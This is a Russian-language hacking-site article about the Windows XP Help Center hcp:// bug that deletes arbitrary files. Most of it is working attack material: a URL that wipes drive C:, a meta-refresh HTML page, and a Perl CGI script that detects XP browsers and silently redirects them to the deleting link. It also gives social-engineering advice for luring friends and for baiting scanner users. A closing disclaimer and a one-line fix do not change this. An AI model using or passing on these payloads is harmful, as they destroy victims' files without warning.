HACK
Меню сайта
Категории каталога
Мои статьи [3383]
Мини-чат
Наш опрос
Каким типом взлома вы используете?
javascript:; javascript:;
Всего ответов: 9

Главная » Статьи » Мои статьи

WinXP - первый шаг к пустому винту
WinXP - первый шаг к пустому винту [ ] Сегодня, 14:47
WinXP - первый шаг к пустому винту В последнее время достаточно много юзверей перешли на Windows XP как на удобную, достаточно устойчивую и 
просто приятную ось. К слову сказать я сам пользуюсь вышеназванной операционкой и чувствую себя сухо и 
комфортно =) Да вот только в каждой программе от дяди Билли нет, нет да и найдут багу способную подпортить 
жизнь обычным пользователям сети. ХРень также не смогла не попасть в списки дырявых продуктов. Конечно нет 
смысла описывать все баги найденные в ней и я пожалуй расскажу только об одном, а именно о баге в Help 
Center. 

Начну с описания уязвимости: 
Удаление произвольных файлов в Windows XP и не только, возможно благодаря встроенному Help and Support 
Center, который является унифицированным хелпом для XP и представляет собой расширенную версию, появившуюся 
в Windows ME. Приложение региструет подключаемый протокол hcp://, который может быть использован для 
запуска хелп центра с сайта. Также он служит для навигации внутри центра. Файл и путь указанный в URL для 
hcp протокола откроет соответствующий файл по пути, указанному в HELPCTR. Т.е. URL 
hcp://system/sysinfo/msinfo.htm запустит центр и откроет в нем 
%windir%\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm. Существуют разные ограничения, однако важна сама 
суть, того что центр будет отображать страницу со своими правами, позволяя скриптам выполняться без ведома 
пользователя. 
Файл %windir%\\PCHEALTH\\HELPCTR\\System\\DFS\\uplddrvinfo.htm, размером 32463 байта, используется хелп центром 
для загрузки в веб информации о железе/драйверах пользователя, в случае возникновения у него каких-либо 
проблем (troubleshooting hardware issues). Вот часть скрипта, содержащегося в нем: 

var oFSO = new ActiveXObject ( Scripting.FileSystemObject ); 
try 

oFSO.DeleteFile( sFile ); 


Где параметр \'sFile\' берется из URL. Хелп центр загружает в себя uplddrvinfo.htm и выполняет его со своими 
правами, не выдавая никаких дополнительных сообщений. 
Используя \'hcp:\' можно передать данные непосредственно в URL: 
hcp://system/DFS/uplddrvinfo.htm?file://c:\\windows\\* 
Все файлы внутри папки Windows будут удалены. 

Для тех кто не совсем понял обьясняю. Если пользователь WInXP откроет свой браузер и введёт в качестве урл 
строку: hcp://system/DFS/uplddrvinfo.htm?file://c:\\* то тогда все файлы на диске C:\\ будут удалены без 
всяких предупреждений. Просто и удобно. Теперь самое интересное... нам как-то надо заставить ненавистного 
нам юзера перейти по такой ссылке. Самое простое конечно просто предложить ему ввести урл в браузер, но с 
подозрительным человеком такая шутка не пройдёт т.к. он обязательно поинтересуется почему ссылка выглядит 
так подозрительно? Да и даже если мы заставим его сделать это то потом когда юзер потеряет свои файлы он 
будет знать из-за кого это произошло... и при встрече с ним у вас будет не лучший момент в жизни =) 
Можно сделать на своей странице ссылку типа: 

<a href=hcp://system/DFS/uplddrvinfo.htm?file://c:\\*>СЮДА НЕ ЖАТЬ</a> 

но вероятность того что пользователь зайдёт на вашу страницу и примется кликать на этой ссылке тоже не 
очень велика =( 
Значит надо автоматизировать процесс перехода по заданной ссылке. Наиболее простой способ имхо это 
реализовать автоматический переход средствами html. Создаём документ index.htm и в него пишем следующее: 

Source code 
<HTML> 
<HEAD> 
<META HTTP-EQUIV=refresh CONTENT=1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\\*> 
</HEAD> 

<CENTER><B>LOADING...<BR>PLEASE WAIT</B></CENTER> 
</HTML> 

Теперь регистрируем себе сайт, например www.winXPdie.narod.ru и заливаем на него наш индексный файл. Теперь 
всё что нам нужно это послать пользователю сообщение о новом супер интересном сайте где много всего нужного 
и т.д. и т.п. и дать ссылку на наш сайт. Юзверь заходит по ссылке, естественно загружается наш индексный 
файл который через секунду переправляет юзверя по нужной нам ссылке. В результате у пользователя на компе 
открывается Help Center и файлики с винта начинают бесследно исчезать =) 

Ну вот все твои друзья использующие Виндоуз-ХРень лишились своих файлов и тихо матюгаясь восстанавливают 
систему. Теперь наверно стоит закончить с этими шалостями и занятся более серьёзными делами. Например 
придумать как нам может помочь эта уязвимость для наказания всякого рода script kiddies которые так и 
норовят поломать ваш сайт. Какая прога самая популярная в инструментарии скриптовых детишек? Конечно-же 
сканер уязвимых скриптов! Ну чтож давайте не будем обманывать ожидания этих хэкеров и подготовим для них 
пару уязвимых скриптов. Пишем скрипт: 

Source code 

#!/usr/bin/perl 
# путь к перлу 

# получаем информацию о браузере 
$useragent=$ENV{\'HTTP_USER_AGENT\'}; 

# если операционка WinXP то выводим страницу с редиректом 
# IE6.0 на XP передаёт строку Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 
if ($useragent=~/Windows NT 5/){ 
print Content-type: text/html\\n\\n; 
print <HTML><HEAD>; 
# в следующей строке и производится редирект на спец. урл 
# вы можете отредактировать его для удаления определённых файлов 
print <META HTTP-EQUIV=\\refresh\\ CONTENT=\\1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\\*\\>; 
print </HEAD>; 
print 

<center><B>LOADING...<BR>PLEASE WAIT</B></CENTER>; 
print </HTML>; 

# если информация о браузере не передана то выводим страницу с редиректом (на всякий случай :) 
else { 
if ($useragent=){ 
print Content-type: text/html\\n\\n; 
print <HTML><HEAD>; 
print <META HTTP-EQUIV=\\refresh\\ CONTENT=\\1 URL=hcp://system/DFS/uplddrvinfo.htm?file://c:\\*\\>; 
print </HEAD>; 
print 

<center><B>LOADING...<BR>PLEASE WAIT</B></CENTER>; 
print </HTML>; 

# если информация получена и ОС не WinXP то выводим NOT FOUND 
else { 
print Content-type: text/html\\n\\n; 
print <HTML><HEAD>; 
print </HEAD>; 
print 

<center><B>NOT FOUND </B></CENTER>; 
print </HTML>; 



Теперь кладём этот скрипт на сайт в папку cgi-bin под именем любого часто встречающегося в базах 
cgi-сканеров скрипта (например formmail.pl) и ставим аттрибут исполняемости. Теперь при запросе сканера 
www.ваш_сайт.ru/cgi-bin/имя_скрипта.pl (www.site.ru/cgi-bin/formmail.pl) сканер выдаст ответ \'200\' FOUND 
что нам и надо =) Любопытный взломщик скорее всего загрузит этот УРЛ в браузере... скрипт во время 
исполнения перешлёт его по нужной ссылке и если на машине хакера установлена ВиньХР то все файлы на его 
диске С будут удалены =) 

На последок хочу рассказать как пофиксить эту багу: 
Временным решением может быть простое удаление файла c:\\windows\\PCHEALTH\\HELPCTR\\System\\DFS\\uplddrvinfo.htm 

P.S. Эта статья не пособие по удалению файлов с винтов бедных пользователей WindowsXP, цель этой статьи 
показать обычным юзерам на опасность которая может подстерегать их в сети и помочь им предотвратить её. 
Блин чуть не забыл ещё одно: Я не несу никакой ответственности за возможный вред который могут причинить 
читатели воспользовавшись информацией данной статьи. Прошу не сваливать на меня вину за гигабайты удалённых 
файлов, во всём виноваты мЫкрософт и дядя Билли. =)

Категория: Мои статьи | Добавил: nefarok (24.02.2009)
Просмотров: 852 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа
Поиск
Друзья сайта
Copyright MyCorp © 2025